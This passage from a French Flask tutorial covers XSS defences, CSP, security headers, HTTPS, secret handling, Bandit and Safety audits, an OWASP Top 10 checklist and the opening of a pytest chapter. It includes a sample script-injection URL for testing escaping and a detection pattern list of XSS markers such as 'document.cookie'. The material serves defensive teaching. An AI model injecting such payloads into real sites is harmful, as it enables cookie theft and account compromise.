  # 3. Limitation des résultats (éviter les dumps massifs)
  Livre.query.limit(1000).all()  # Jamais .all() sans limite sur de grandes tables

  # 4. Validation des entrées AVANT les requêtes
  livre_id = request.args.get('id', type=int)
  if livre_id is None or livre_id < 1:
      return jsonify({'error': 'ID invalide'}), 400

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 37.1 : Teste l'auto-escape de Jinja2 avec des données malveillantes.
    Crée une route /test-xss?nom=<script>alert(1)</script>
    et affiche le paramètre dans un template. Observe l'échappement.

  Exercice 37.2 : Installe bleach et crée la fonction nettoyer_html().
    Teste avec du HTML malveillant et du HTML légitime (gras, liens).

  Exercice 37.3 : Ajoute les headers de sécurité à toutes les réponses Flask.
    Vérifie avec les outils de développement navigateur (onglet Network).

NIVEAU INTERMÉDIAIRE :
  Exercice 37.4 : Configure une Content Security Policy pour BookFlow.
    Commence en mode 'report-only' pour détecter les violations sans bloquer.
    Content-Security-Policy-Report-Only: ...; report-uri /csp-violations

  Exercice 37.5 : Implémente la fonction assainir_chaine() et intègre-la
    dans le schéma AvisSchema avec @pre_load.

NIVEAU AVANCÉ :
  Exercice 37.6 : Crée un middleware de scan XSS qui détecte les patterns
    d'attaque courants dans les inputs et les loggue.
    Patterns à détecter : <script>, javascript:, onerror=, onload=, eval(

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 37.4 — CSP Report-Only :

  @app.after_request
  def csp_report_only(response):
      """
      Mode rapport : détecte les violations sans bloquer.
      Utile pour tester la CSP avant de la déployer.
      """
      politique = (
          "default-src 'self'; "
          "script-src 'self'; "
          "style-src 'self' 'unsafe-inline'; "
          "img-src 'self' data:; "
          "report-uri /api/v1/csp-violations"
      )
      response.headers['Content-Security-Policy-Report-Only'] = politique
      return response

  # Route qui reçoit les rapports de violations CSP
  @app.route('/api/v1/csp-violations', methods=['POST'])
  @limiter.exempt
  def recevoir_violation_csp():
      """Reçoit et loggue les violations de CSP."""
      rapport = request.get_json(silent=True, force=True) or {}
      app.logger.warning(f"[CSP VIOLATION] {rapport}")
      return '', 204

CORRIGÉ 37.6 — Middleware scan XSS :

  import re, logging

  # Patterns XSS courants à détecter
  PATTERNS_XSS = [
      re.compile(r'<script', re.IGNORECASE),
      re.compile(r'javascript:', re.IGNORECASE),
      re.compile(r'on\w+\s*=', re.IGNORECASE),   # onerror=, onload=, onclick=
      re.compile(r'eval\s*\(', re.IGNORECASE),
      re.compile(r'expression\s*\(', re.IGNORECASE),
      re.compile(r'vbscript:', re.IGNORECASE),
      re.compile(r'data:text/html', re.IGNORECASE),
      re.compile(r'<iframe', re.IGNORECASE),
      re.compile(r'document\.cookie', re.IGNORECASE),
  ]

  def detecter_xss(valeur: str) -> bool:
      """Détecte les patterns XSS dans une chaîne."""
      if not isinstance(valeur, str):
          return False
      return any(p.search(valeur) for p in PATTERNS_XSS)

  @app.before_request
  def scanner_xss():
      """Scanne les inputs pour les tentatives XSS."""
      sources_a_scanner = []

      # Scanner les args de l'URL
      for key, value in request.args.items():
          sources_a_scanner.append((f'args.{key}', value))

      # Scanner le body si JSON
      if request.is_json:
          data = request.get_json(silent=True) or {}
          for key, value in data.items():
              if isinstance(value, str):
                  sources_a_scanner.append((f'body.{key}', value))

      # Détecter et loguer
      for source, valeur in sources_a_scanner:
          if detecter_xss(valeur):
              app.logger.warning(
                  f"[SECURITE] Tentative XSS détectée | "
                  f"IP: {request.remote_addr} | "
                  f"URL: {request.path} | "
                  f"Source: {source} | "
                  f"Valeur: {valeur[:100]!r}"
              )
              # Option : bloquer la requête
              # return jsonify({'error': 'Contenu non autorisé'}), 400
              # Option : juste loguer (recommandé pour éviter les faux positifs)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 38 — HTTPS, HEADERS ET AUDIT DE SÉCURITÉ                   ║
║         HTTPS obligatoire, hachage, secrets et audit complet                      ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  HTTPS — OBLIGATOIRE EN PRODUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

POURQUOI HTTPS EST OBLIGATOIRE :
  -> Chiffre toutes les données en transit (mots de passe, tokens JWT, etc.)
  -> Authentifie le serveur (certificat SSL/TLS)
  -> Protection contre les attaques Man-in-the-Middle
  -> Requis pour les cookies Secure et SameSite=Strict
  -> Requis pour HTTP/2 (bien plus rapide)
  -> Requis pour les APIs modernes (certaines fonctionnalités navigateur)

FORCER HTTPS DANS FLASK :

  # Option 1 : Flask-Talisman (la plus simple)
  from flask_talisman import Talisman

  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      if config_name == 'production':
          Talisman(
              app,
              force_https=True,
              force_https_permanent=True,  # Redirection 301 (cachée)
              strict_transport_security=True,
              strict_transport_security_max_age=31536000,
              strict_transport_security_include_subdomains=True,
              strict_transport_security_preload=True,
              content_security_policy=csp_policy,
              session_cookie_secure=True
          )
      return app

  # Option 2 : Middleware de redirection manuelle
  @app.before_request
  def forcer_https():
      """Redirige HTTP vers HTTPS en production."""
      if not app.debug:
          if request.headers.get('X-Forwarded-Proto') == 'http':
              url = request.url.replace('http://', 'https://', 1)
              return redirect(url, code=301)

  # Option 3 : Laisser Nginx gérer (recommandé)
  # Dans nginx.conf :
  # server {
  #     listen 80;
  #     server_name bookflow.com;
  #     return 301 https://$server_name$request_uri;
  # }

CERTIFICAT SSL AVEC LET'S ENCRYPT :

  # Installation de Certbot (sur le serveur)
  sudo apt install certbot python3-certbot-nginx

  # Obtenir un certificat gratuit
  sudo certbot --nginx -d bookflow.com -d www.bookflow.com

  # Renouvellement automatique (cron)
  0 12 * * * /usr/bin/certbot renew --quiet

  # Vérifier la date d'expiration
  sudo certbot certificates

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  GESTION SÉCURISÉE DES SECRETS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RÈGLES D'OR POUR LES SECRETS :
  -> JAMAIS de secrets dans le code source
  -> JAMAIS de secrets dans Git (même les anciens commits !)
  -> Utiliser des variables d'environnement
  -> En production : utiliser un gestionnaire de secrets

GÉNÉRATION DE CLÉS SÉCURISÉES :

  # Générer une SECRET_KEY sécurisée (dans le terminal)
  python -c "import secrets; print(secrets.token_hex(32))"
  # -> "7f3d8b2a1e5c9f4d6a0b3e7c2d8f1a4e9b5c7d0e3f6a2b8c1d4e7f0a3b6c9d2"

  # Générer une clé JWT
  python -c "import secrets; print(secrets.token_urlsafe(48))"

  # Générer un token de 256 bits (salt pour PBKDF2)
  import os
  salt = os.urandom(32)  # 256 bits de vrai aléatoire

VALIDATION DES SECRETS AU DÉMARRAGE :

  # app/config.py
  class ProductionConfig(Config):
      @classmethod
      def valider(cls):
          """Vérifie la qualité des secrets en production."""
          secret_key = os.getenv('SECRET_KEY', '')
          if len(secret_key) < 32:
              raise ValueError(
                  "SECRET_KEY trop courte ! Minimum 32 caractères. "
                  "Générer avec : python -c \"import secrets; print(secrets.token_hex(32))\""
              )

          jwt_secret = os.getenv('JWT_SECRET_KEY', '')
          if len(jwt_secret) < 32:
              raise ValueError("JWT_SECRET_KEY trop courte ! Minimum 32 caractères.")

          # Vérifier que les deux clés sont différentes
          if secret_key == jwt_secret:
              raise ValueError(
                  "SECRET_KEY et JWT_SECRET_KEY doivent être DIFFÉRENTES !"
              )

          # Vérifier l'entropie (pas de secrets triviaux)
          secrets_triviaux = ['secret', 'password', 'changeme', 'dev', 'test']
          for trivial in secrets_triviaux:
              if trivial in secret_key.lower():
                  raise ValueError(
                      f"SECRET_KEY contient '{trivial}' — trop prévisible !"
                  )

HASHICORP VAULT (GESTIONNAIRE DE SECRETS EN PRODUCTION) :

  # En production avancée, utiliser HashiCorp Vault ou AWS Secrets Manager
  import hvac  # pip install hvac

  def obtenir_secret(chemin: str) -> str:
      """Récupère un secret depuis HashiCorp Vault."""
      client = hvac.Client(
          url=os.getenv('VAULT_ADDR', 'http://localhost:8200'),
          token=os.getenv('VAULT_TOKEN')
      )
      secret = client.secrets.kv.v2.read_secret_version(path=chemin)
      return secret['data']['data']['value']

  # Utilisation :
  # DATABASE_URL = obtenir_secret('bookflow/database/url')
  # JWT_SECRET = obtenir_secret('bookflow/jwt/secret')

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  AUDIT DE SÉCURITÉ AVEC BANDIT ET SAFETY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

BANDIT — Scanner de vulnérabilités Python :

  pip install bandit

  # Scanner le code source
  bandit -r app/ -ll -ii

  # Options :
  # -r     : récursif
  # -ll    : niveau minimum MEDIUM pour les problèmes de sévérité
  # -ii    : niveau minimum MEDIUM pour la confiance

  # Exemple de sortie :
  # >> Issue: [B105:hardcoded_password_string] Possible hardcoded password
  # Severity: Low   Confidence: Medium
  # Location: app/config.py:15

  # Ignorer les faux positifs :
  SECRET_KEY = "dev-only-not-production"  # nosec B105

SAFETY — Vérification des dépendances vulnérables :

  pip install safety

  # Vérifier les dépendances contre la base CVE
  safety check -r requirements.txt

  # Exemple de sortie :
  # Flask 1.0.0 has a known vulnerability:
  # CVE-2018-1000656 - Werkzeug before 0.14.1 exposes an open redirect...

  # Intégration dans le Makefile :
  security-check:
  	bandit -r app/ -ll
  	safety check -r requirements.txt

  # Dans GitHub Actions :
  - name: Security audit
    run: |
      pip install bandit safety
      bandit -r app/ -ll -ii
      safety check -r requirements.txt

OWASP ZAP — Test de pénétration automatique :

  # Docker
  docker run -t owasp/zap2docker-stable zap-baseline.py \
    -t http://localhost:5000

  # Ce test automatique vérifie :
  # -> En-têtes de sécurité manquants
  # -> Cookies non sécurisés
  # -> Informations de version exposées
  # -> Répertoires accessibles
  # -> Vulnérabilités communes (XSS, injection, etc.)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  PROTECTION CONTRE L'EXPOSITION D'INFORMATIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

INFORMATIONS À NE PAS EXPOSER :
  -> Versions des bibliothèques (Flask version, Werkzeug version...)
  -> Chemins internes (traceback, noms de fichiers)
  -> Messages d'erreur SQL
  -> Configuration interne (config.py)
  -> Clés API et tokens
  -> Données d'autres utilisateurs

MASQUER LES INFOS EN PRODUCTION :

  # 1. Retirer l'en-tête Server
  @app.after_request
  def masquer_infos_serveur(response):
      # Supprimer l'en-tête qui révèle le serveur
      response.headers.pop('Server', None)
      # Remplacer par quelque chose de générique
      response.headers['Server'] = 'BookFlow'
      # Supprimer les headers de debug Flask
      response.headers.pop('X-Werkzeug-Bundle-Key', None)
      return response

  # 2. Erreurs génériques en production
  @app.errorhandler(500)
  def erreur_500(e):
      app.logger.exception(f"Erreur 500 : {e}")
      if app.debug:
          # En dev : afficher les détails
          return jsonify({'error': str(e), 'traceback': traceback.format_exc()}), 500
      else:
          # En prod : message générique
          return jsonify({'error': 'Une erreur interne s\'est produite'}), 500

  # 3. Désactiver la page de debug Werkzeug
  app.config['PROPAGATE_EXCEPTIONS'] = False  # En production
  # Ne JAMAIS utiliser debug=True en production !

  # 4. Protéger les fichiers de configuration
  # Dans .gitignore :
  # .env
  # config/secrets.py
  # *.key
  # *.pem
  # *.cert

VALIDATION DES REDIRECTIONS (Open Redirect) :

  from urllib.parse import urlparse, urljoin
  from flask import request, url_for

  def est_url_sure(url: str) -> bool:
      """
      Vérifie qu'une URL de redirection est sûre (même domaine).
      Protège contre les attaques Open Redirect.
      """
      if not url:
          return False
      host_url = urlparse(request.host_url)
      redirect_url = urlparse(urljoin(request.host_url, url))
      return (
          redirect_url.scheme in ('http', 'https') and
          host_url.netloc == redirect_url.netloc
      )

  # Utilisation dans le login :
  @auth_bp.route('/login', methods=['POST'])
  def login():
      # ...
      next_url = request.form.get('next') or request.args.get('next')

      if next_url and est_url_sure(next_url):
          return redirect(next_url)

      return redirect(url_for('web.index'))  # Valeur sûre par défaut

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 38.1 : Lance Bandit sur ton code BookFlow.
    Identifie et corrige les 3 problèmes de sécurité les plus critiques.

  Exercice 38.2 : Lance Safety check sur requirements.txt.
    Mets à jour toutes les dépendances avec des vulnérabilités connues.

  Exercice 38.3 : Ajoute tous les headers de sécurité dans un after_request.
    Vérifie avec https://securityheaders.com (en déployant ou avec ngrok).

NIVEAU INTERMÉDIAIRE :
  Exercice 38.4 : Implémente la validation des secrets au démarrage.
    ProductionConfig.valider() doit vérifier longueur, entropie et unicité.

  Exercice 38.5 : Implémente la protection Open Redirect dans toutes
    les redirections après login/logout de BookFlow.

NIVEAU AVANCÉ :
  Exercice 38.6 : Configure un pipeline de sécurité complet dans GitHub Actions :
    -> bandit (scan code)
    -> safety (scan dépendances)
    -> Tests pytest avec couverture
    -> Le pipeline échoue si une faille critique est trouvée

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 38.3 — Headers de sécurité complets :

  # app/utils/security.py
  from flask import Flask, Response, request

  def configurer_securite(app: Flask):
      """Configure tous les headers de sécurité pour BookFlow."""

      @app.after_request
      def ajouter_headers(response: Response) -> Response:
          env = app.config.get('ENV', 'production')

          # ── Masquer infos serveur ──
          response.headers['Server'] = 'BookFlow'

          # ── Type MIME (anti-sniffing) ──
          response.headers['X-Content-Type-Options'] = 'nosniff'

          # ── Clickjacking ──
          response.headers['X-Frame-Options'] = 'DENY'

          # ── XSS (navigateurs anciens) ──
          response.headers['X-XSS-Protection'] = '1; mode=block'

          # ── Referrer ──
          response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'

          # ── Permissions Browser API ──
          response.headers['Permissions-Policy'] = (
              'accelerometer=(), camera=(), geolocation=(), '
              'gyroscope=(), magnetometer=(), microphone=(), '
              'payment=(), usb=()'
          )

          # ── HSTS (HTTPS uniquement) ──
          if not app.debug:
              response.headers['Strict-Transport-Security'] = (
                  'max-age=31536000; includeSubDomains; preload'
              )

          # ── CSP (selon l'environnement) ──
          if env == 'production':
              response.headers['Content-Security-Policy'] = (
                  "default-src 'self'; "
                  "script-src 'self' https://cdnjs.cloudflare.com; "
                  "style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; "
                  "font-src 'self' https://fonts.gstatic.com; "
                  "img-src 'self' data: https:; "
                  "connect-src 'self'; "
                  "frame-src 'none'; "
                  "object-src 'none'; "
                  "base-uri 'self'; "
                  "form-action 'self';"
              )
          else:
              # Dev : plus permissif
              response.headers['Content-Security-Policy'] = (
                  "default-src 'self' 'unsafe-inline' 'unsafe-eval'; "
                  "img-src 'self' data: https:;"
              )

          # ── Désactiver le cache pour les réponses auth ──
          if '/auth' in request.path:
              response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate'
              response.headers['Pragma'] = 'no-cache'
              response.headers['Expires'] = '0'

          return response

      return app

  # Dans create_app() :
  from .utils.security import configurer_securite
  configurer_securite(app)

CORRIGÉ 38.6 — Pipeline GitHub Actions :

  # .github/workflows/security.yml
  name: Security & Quality

  on:
    push:
      branches: [main, develop]
    pull_request:
      branches: [main]

  jobs:
    security-audit:
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@v4

        - name: Set up Python 3.11
          uses: actions/setup-python@v5
          with:
            python-version: '3.11'
            cache: 'pip'

        - name: Install dependencies
          run: |
            pip install -r requirements.txt
            pip install -r requirements-dev.txt
            pip install bandit safety

        - name: Run Bandit (code security)
          run: |
            bandit -r app/ -ll -ii -f json -o bandit-report.json || true
            bandit -r app/ -ll -ii  # Affiche aussi en terminal
          continue-on-error: false

        - name: Run Safety (dependency vulnerabilities)
          run: |
            safety check -r requirements.txt --full-report
          continue-on-error: false

        - name: Run Tests with Coverage
          run: |
            pytest tests/ -v \
              --cov=app \
              --cov-report=xml \
              --cov-fail-under=70
          env:
            FLASK_ENV: testing

        - name: Upload coverage
          uses: codecov/codecov-action@v4
          with:
            file: ./coverage.xml

        - name: Upload security reports
          uses: actions/upload-artifact@v4
          if: always()
          with:
            name: security-reports
            path: |
              bandit-report.json


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW : CHECKLIST SÉCURITÉ COMPLÈTE        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CHECKLIST OWASP TOP 10 POUR BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

OWASP (Open Web Application Security Project) publie chaque année
la liste des 10 vulnérabilités web les plus critiques.

  A01 — BROKEN ACCESS CONTROL
  ─────────────────────────────
  [OK] Vérification des droits sur chaque route (décorateurs JWT)
  [OK] Utilisateur ne peut accéder qu'à SES données
  [OK] Routes admin protégées par @admin_requis
  [OK] @proprietaire_ou_admin pour les ressources utilisateur
  [OK] Soft delete (données pas accessibles même avec ancien ID)

  A02 — CRYPTOGRAPHIC FAILURES
  ──────────────────────────────
  [OK] Mots de passe hachés avec bcrypt (rounds=12)
  [OK] HTTPS obligatoire en production (Talisman)
  [OK] HSTS activé (max-age=31536000 + preload)
  [OK] Cookies avec Secure + HttpOnly + SameSite
  [OK] JWT avec clé secrète longue (min 32 chars)
  [OK] Tokens de reset avec secrets.token_urlsafe(32)

  A03 — INJECTION
  ─────────────────
  [OK] SQLAlchemy ORM (requêtes paramétrées automatiques)
  [OK] Validation des champs de tri (liste blanche)
  [OK] Marshmallow valide tous les inputs
  [OK] assainir_chaine() sur les données utilisateur
  [OK] Aucune requête SQL en f-string

  A04 — INSECURE DESIGN
  ──────────────────────
  [OK] Rate limiting sur les endpoints sensibles
  [OK] Protection brute-force login (5 tentatives -> blocage)
  [OK] Tokens à durée de vie limitée (1h access, 30j refresh)
  [OK] Révocation des tokens (blacklist)
  [OK] 2FA disponible pour les comptes sensibles

  A05 — SECURITY MISCONFIGURATION
  ─────────────────────────────────
  [OK] DEBUG=False en production
  [OK] Erreurs génériques (pas de traceback en prod)
  [OK] Headers de sécurité complets (CSP, HSTS, etc.)
  [OK] Server header masqué
  [OK] Pas de secrets dans le code source

  A06 — VULNERABLE COMPONENTS
  ─────────────────────────────
  [OK] Safety check dans le pipeline CI/CD
  [OK] Dépendances à jour (requirements.txt maintenu)
  [OK] Bandit pour scanner le code Python
  [OK] Renovate/Dependabot pour les mises à jour auto

  A07 — IDENTIFICATION AND AUTH FAILURES
  ────────────────────────────────────────
  [OK] Bcrypt pour les mots de passe
  [OK] Anti-énumération (même réponse si email inconnu)
  [OK] Timing constant (évite les timing attacks)
  [OK] Vérification email à l'inscription
  [OK] Reset de mot de passe sécurisé (token one-time)
  [OK] JWT avec révocation

  A08 — SOFTWARE AND DATA INTEGRITY FAILURES
  ────────────────────────────────────────────
  [OK] JWT signé avec HMAC-SHA256
  [OK] Pas de désérialisation d'objets non sécurisés
  [OK] Checksums sur les uploads (images)
  [OK] Pipeline CI/CD vérifié (signatures GitHub Actions)

  A09 — SECURITY LOGGING AND MONITORING
  ───────────────────────────────────────
  [OK] Logs des connexions (succès + échecs)
  [OK] Logs des actions admin
  [OK] Logs des tentatives brute-force
  [OK] Logs des violations CSP
  [OK] Rotation des logs (RotatingFileHandler)
  [OK] X-Request-ID pour la traçabilité

  A10 — SERVER-SIDE REQUEST FORGERY (SSRF)
  ──────────────────────────────────────────
  [OK] Validation des URLs de redirection (Open Redirect)
  [OK] Liste blanche pour les domaines externes autorisés
  [OK] Pas d'URLs utilisateurs dans des requêtes serveur-à-serveur

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  FICHIER DE CONFIGURATION SÉCURITÉ BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/security.py — Point central de la configuration sécurité

  from flask import Flask
  from .utils.security import configurer_securite

  def appliquer_securite(app: Flask, env: str = 'production'):
      """
      Applique toutes les mesures de sécurité à l'application.
      Appeler dans create_app() après l'initialisation des extensions.
      """
      # 1. Headers HTTP de sécurité
      configurer_securite(app)

      # 2. Limiter la taille des requêtes
      app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # 16 MB

      # 3. Session sécurisée
      app.config.update({
          'SESSION_COOKIE_SECURE':   not app.debug,
          'SESSION_COOKIE_HTTPONLY': True,
          'SESSION_COOKIE_SAMESITE': 'Lax',
          'PERMANENT_SESSION_LIFETIME': 86400 * 7  # 7 jours
      })

      # 4. Désactiver les infos de debug en production
      if env == 'production':
          app.config['PROPAGATE_EXCEPTIONS'] = False
          app.config['TRAP_HTTP_EXCEPTIONS'] = False

      # 5. Gérer les erreurs 413 (upload trop grand)
      from flask import jsonify
      @app.errorhandler(413)
      def fichier_trop_grand(e):
          return jsonify({
              'error': 'Fichier trop volumineux (maximum 16 MB)'
          }), 413

      app.logger.info("[SECURITE] Configuration sécurité appliquée")
      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 10 — SÉCURITÉ WEB

  [DOCS] Tu as appris :
     -> CSRF : mécanisme d'attaque, protection Flask-WTF, tokens CSRF dans
       les formulaires et AJAX, SameSite cookies, Double Submit Cookie
     -> XSS : 3 types (reflected, stored, DOM), auto-escape Jinja2,
       sanitisation avec bleach, Content Security Policy (CSP),
       XSS dans les API JSON, middleware de détection
     -> Injection SQL : immunité avec SQLAlchemy ORM, liste blanche pour ORDER BY,
       principe du moindre privilège BDD
     -> HTTPS : Let's Encrypt, HSTS, Flask-Talisman, redirection forcée
     -> Gestion des secrets : génération sécurisée, validation au démarrage,
       HashiCorp Vault, jamais dans le code source
     -> Audit de sécurité : Bandit, Safety, OWASP ZAP, pipeline CI/CD
     -> Protection des infos : masquer les headers serveur, erreurs génériques,
       Open Redirect, désactiver le debug en production
     -> Checklist OWASP Top 10 complète pour BookFlow (10 catégories)

  -> Prochaine étape : Partie 11 — Testing (tests unitaires, intégration, API)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 11 : TESTING                             ║
║         Tests Unitaires, Intégration, API et Couverture de Code                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 11 / 20
Chapitres      : 39 -> 40
Prérequis      : Parties 1 à 10 (Flask complet, Auth, Architecture, Sécurité)
Projet fil     : BookFlow — Suite de tests complète production-ready

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 11
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 39 — Tests unitaires avec pytest
  CHAPITRE 40 — Tests d'intégration et tests API

  PROJET FIL ROUGE — BookFlow : suite de tests complète

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 39 — TESTS UNITAIRES AVEC PYTEST                            ║
║         Tester chaque composant isolément, mocks et fixtures                      ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QU'UN TEST UNITAIRE ?
─────────────────────────────────
Un test unitaire vérifie qu'une petite unité de code (fonction, méthode,
classe) fonctionne correctement en isolation, sans dépendances externes.

LA PYRAMIDE DE TESTS :

  ┌──────────────────────────────────────────────────────────┐
  │                                                          │
  │               [BLACK_UP-POINTING_TRIANGLE]  E2E Tests (peu)                        │
  │              [BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE] Simulation navigateur complète         │
  │             ─────                                       │
  │           [BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE] Integration Tests (moyen)            │
  │          Routes + BDD + Services                        │
  │         ─────────────                                   │
  │       [BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE][BLACK_UP-POINTING_TRIANGLE] Unit Tests (beaucoup)            │
  │      Fonctions, services, modèles isolés               │
  │     ─────────────────────                              │
  └──────────────────────────────────────────────────────────┘

  -> Plus on monte, plus les tests sont lents et coûteux
  -> La base (unitaire) doit être massive et rapide
  -> En pratique : 70% unitaire, 20% intégration, 10% E2E

POURQUOI TESTER ?
  [OK] Détecter les bugs AVANT la production
  [OK] Refactorer sans casser ce qui fonctionnait
  [OK] Documentation vivante du comportement attendu
  [OK] Confiance pour déployer fréquemment
  [OK] Conception améliorée (code testable = code découplé)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INSTALLATION ET CONFIGURATION PYTEST
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

INSTALLATION :

  pip install pytest pytest-flask pytest-cov factory-boy faker

STRUCTURE DES TESTS :

  tests/
  ├── __init__.py
  ├── conftest.py              <- Fixtures partagées (app, client, BDD)
  ├── unit/
  │   ├── __init__.py
  │   ├── test_models.py       <- Tests des modèles SQLAlchemy
  │   ├── test_services.py     <- Tests des services (logique métier)
  │   ├── test_utils.py        <- Tests des utilitaires
  │   └── test_schemas.py      <- Tests des schémas Marshmallow
  ├── integration/
  │   ├── __init__.py
  │   ├── test_auth.py         <- Tests des routes auth
  │   ├── test_livres.py       <- Tests des routes livres
  │   ├── test_emprunts.py     <- Tests des routes emprunts
  │   └── test_pagination.py   <- Tests de pagination
  └── e2e/
      ├── __init__.py
      └── test_workflows.py    <- Tests de flux complets

CONFIGURATION PYTEST (pytest.ini ou pyproject.toml) :

  # pytest.ini
  [pytest]
  testpaths = tests
  addopts =
      -v
      --tb=short
      --cov=app
      --cov-report=term-missing
      --cov-report=html:htmlcov
      --cov-fail-under=70
  filterwarnings =
      ignore::DeprecationWarning
      ignore::PendingDeprecationWarning

  # Variables d'environnement pour les tests
  env =
      FLASK_ENV=testing

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  CONFTEST.PY — FIXTURES PARTAGÉES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le fichier conftest.py définit les fixtures réutilisables dans tous les tests.

  # tests/conftest.py
  import pytest
  from app import create_app
  from app.extensions import db as _db
  from app.models import Utilisateur, Livre, Categorie, Emprunt, Avis

  # ────────────────────────────────────────
  # FIXTURES D'APPLICATION
  # ────────────────────────────────────────

  @pytest.fixture(scope='session')
  def app():
      """
      Crée l'application Flask en mode test.
      scope='session' : créée une seule fois pour toute la session de tests.
      """
      application = create_app('testing')
      application.config.update({
          'TESTING': True,
          'WTF_CSRF_ENABLED': False,
          'SQLALCHEMY_DATABASE_URI': 'sqlite:///:memory:',
      })
      return application

  @pytest.fixture(scope='session')
  def db(app):
      """
      Crée les tables de la BDD une seule fois par session.
      """
      with app.app_context():
          _db.create_all()
          yield _db
          _db.drop_all()

  @pytest.fixture(scope='function')
  def db_session(db, app):
      """
      Fournit une session BDD propre pour chaque test.
      Rollback automatique après chaque test -> isolement des tests.
      """
      with app.app_context():
          connection = db.engine.connect()
          transaction = connection.begin()

          # Binder la session à cette connexion avec transaction ouverte
          db.session.configure(bind=connection)

          yield db.session

          # Rollback à la fin du test -> annule toutes les modifications
          db.session.remove()
          transaction.rollback()
          connection.close()

  @pytest.fixture(scope='function')
  def client(app, db_session):
      """
      Client de test Flask pour faire des requêtes HTTP.
      """
